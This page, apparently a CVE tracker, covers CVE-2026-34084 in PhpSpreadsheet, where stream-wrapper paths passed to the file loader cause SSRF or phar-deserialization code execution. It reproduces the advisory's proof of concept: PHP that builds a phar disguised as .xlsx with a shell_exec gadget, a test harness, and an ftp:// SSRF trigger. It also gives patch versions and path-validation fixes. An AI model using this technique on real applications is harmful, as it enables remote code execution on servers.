PhpSpreadsheet CVE-2026-34084
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessApp passes user-controlled filename to IOFactory::load
-
DeliveryAttacker supplies phar:// path to crafted archive
-
ExploitassertFile calls wrapper-aware is_file
-
ExecutionPHP parses phar, unserializes metadata
-
PersistPOP gadget __destruct executes
-
ImpactArbitrary command execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the host application to pass an attacker-influenced $filename into IOFactory::load() or a Reader's load()/loadSpreadsheetFromFile(). The attacker then supplies a path using a PHP stream wrapper that implements stat() - specifically phar://, ftp://, or ssh2.sftp://. For SSRF, only the ftp:// (or ssh2.sftp://) wrapper and outbound network egress are needed. For RCE, the attacker must reference a crafted phar archive (extension is irrelevant - it can be named .xlsx) AND a usable POP gadget chain must exist among installed classes, because PhpSpreadsheet's own XMLWriter gadget is guarded by __unserialize/__wakeup which throws before the sink. Limiting factors: filename must be attacker-controlled (applications that only use fixed/internal paths are not exploitable), RCE depends on an external gadget chain being loadable, and phar exploitation requires the attacker to stage or reference the malicious archive. No authentication to the library itself is required (PR:N), and the vulnerability triggers even if the inner file is unsupported, allowing silent exploitation. |
| Impact | The signals are mixed and warrant careful triage. The CVSS 4.0 base score is 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H), and SSVC rates Automatable=yes with Technical Impact=total, suggesting high severity. However, EPSS is only 0.10% (27th percentile) and the CVE is not in CISA KEV, indicating no evidence of active or widespread exploitation. The critical caveat: full RCE is conditional - it requires the host application to pass a user-controlled filename to IOFactory::load AND a usable POP gadget chain from another installed package, since the library's own gadget is neutralized. SSRF is more readily achievable and needs only the ftp:// (or similar) wrapper plus outbound network. The CVSS 4.0 AT:P (attack requirements present) correctly reflects that exploitation is not fully unconditional. Net: a genuine priority for deployments that feed untrusted file paths into PhpSpreadsheet, but 'high-CVSS' should be tempered against the low EPSS and the dependency on application-specific data flow and available gadgets. |
| Exploit ScenarioDerived | An application lets users specify a spreadsheet by path or URL (e.g., an import feature) and passes that value to IOFactory::load(). An attacker who can also place or reference a file uploads a malicious .xlsx that is actually a crafted phar archive, then submits phar://uploaded.xlsx/x; when the library calls is_file(), PHP parses the phar and unserializes its metadata, firing a POP gadget's __destruct to run shell commands. A publicly available PoC demonstrates both the phar RCE and an ftp:// SSRF path. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 24, 2026
Server-side request forgery and potential remote code execution affect PhpOffice PhpSpreadsheet when an application passes an attacker-controlled filename to IOFactory::load or any Reader. Because the File::assertFile helper validates paths with is_file(), which is PHP stream-wrapper aware, an attacker can supply phar://, ftp://, or ssh2.sftp:// paths to force outbound connections (SSRF) or trigger phar metadata deserialization (CWE-502) leading to code execution if a usable POP gadget exists. Publicly available exploit code exists (PoC in the GitHub advisory); it is not in CISA KEV and EPSS is low (0.10%), indicating no observed widespread exploitation yet.
RemediationAI
Vendor-released patch: upgrade to 5.6.0, 3.10.4, 2.4.4, or 2.1.15 depending on your release line (per GHSA-q4q6-r8wh-5cgh: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q4q6-r8wh-5cgh). If immediate upgrade is not possible, the primary compensating control is to reject stream-wrapper paths before they reach IOFactory::load: parse the scheme with parse_url($filename, PHP_URL_SCHEME) and refuse any scheme longer than one character (the single-character check preserves Windows drive letters like C:\), or resolve the path through realpath() (which is not wrapper-aware) and validate the returned absolute path with is_file() before loading. Additionally, never pass raw user-supplied filenames to the loader - constrain inputs to a known upload directory and validate the resolved real path stays within it. Note that stream_is_local() is NOT a safe filter, as it treats phar:// as local. Trade-off: strict scheme blocking will break any legitimate use of remote or archive-based paths, so confirm your application does not intentionally load via wrappers before enforcing it.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PhpSpreadsheet is a widely used PHP library for reading and writing spreadsheet formats (XLSX, CSV, ODS, etc.), distributed via Composer as phpoffice/phpspreadsheet. The root cause is that File::assertFile() uses PHP's is_file() to confirm a file exists, but is_file() honors registered stream wrappers that implement stat(), including phar://, ftp:// and ssh2.sftp://. Merely stat-ing a phar:// path causes PHP to parse the archive and unserialize its serialized metadata, which is the classic phar deserialization sink underlying CWE-502 (Deserialization of Untrusted Data). The affected call path is IOFactory::load() → IReader::load() → IReader::loadSpreadsheetFromFile() → File::assertFile() → is_file(). The library's most obvious internal gadget (XMLWriter) is guarded by __unserialize/__wakeup throwing an exception, so weaponizing RCE within this library alone is blocked - but gadget chains from co-installed packages remain viable.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AV:N and PR:N since no library auth is needed, but AC:H because exploitation depends on user-controlled filename reaching the loader and, for RCE, an external POP gadget chain; full C/I/A impact on successful phar deserialization.
Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).
CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet
Lifecycle Timeline
3DescriptionCVE.org
The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat(). The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.
This results in a SSRF, at "best", and RCE at worse.
This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).
PoC
To reproduce the vulnerable behavior, the following scripts were used:
php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:
phar.readonly=0make_phar.php to create the malicious file:
<?php
// php -c php.ini make_phar.php
class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}
$pop = new GadgetClass('touch /tmp/poc.txt');
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();
rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";
test.php showcases the unsafe pattern:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}
$filename = $argv[1] ?? null;
if (!$filename) {
echo "Usage: php test.php <path>\n";
echo " e.g. php test.php phar://exploit.xlsx/whatever\n";
exit(1);
}
echo "Calling IOFactory::load('" . $filename . "')\n";
try {
$spreadsheet = IOFactory::load($filename);
var_dump($spreadsheet);
} catch (Throwable $e) {
echo "Vuln has still triggered even if exception triggers.\n";
}
RCE
Run the PoC (for RCE):
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txtThe file /tmp/poc.txt should now be present on disk. > Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.
SSRF
Run the PoC (for SSRF):
ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/testObserve a connection is made to 127.0.0.1 on port 21.
Root Cause Analysis
Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:
IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename);The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.
public function __destruct()
{
// Unlink temporary files
// There is nothing reasonable to do if unlink fails.
if ($this->tempFileName != '') {
@unlink($this->tempFileName);
}
}
/** @param mixed[] $data */
public function __unserialize(array $data): void
{
$this->tempFileName = '';
throw new SpreadsheetException('Unserialize not permitted');
}Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.
Suggested mitigations
Use is_file only after making sure the filename does not contain any php wrapper:
$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
throw new \PhpOffice\PhpSpreadsheet\Exception(
"Stream wrappers are not permitted as file paths: {$filename}"
);
}or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:
$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}
// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
throw new ...
}> Note: stream_is_local() would also not be safe here - as it considers phar:// to be local and would not block it.
Executive ViewAI
PhpOffice PhpSpreadsheet contains a critical vulnerability enabling remote code execution through file processing. Any organization using this library in web applications faces direct risk of server compromise; attackers have publicly available proof-of-concept exploit code. Immediate patching is required to prevent potential data theft, service disruption, or lateral network access.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-q4q6-r8wh-5cgh
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB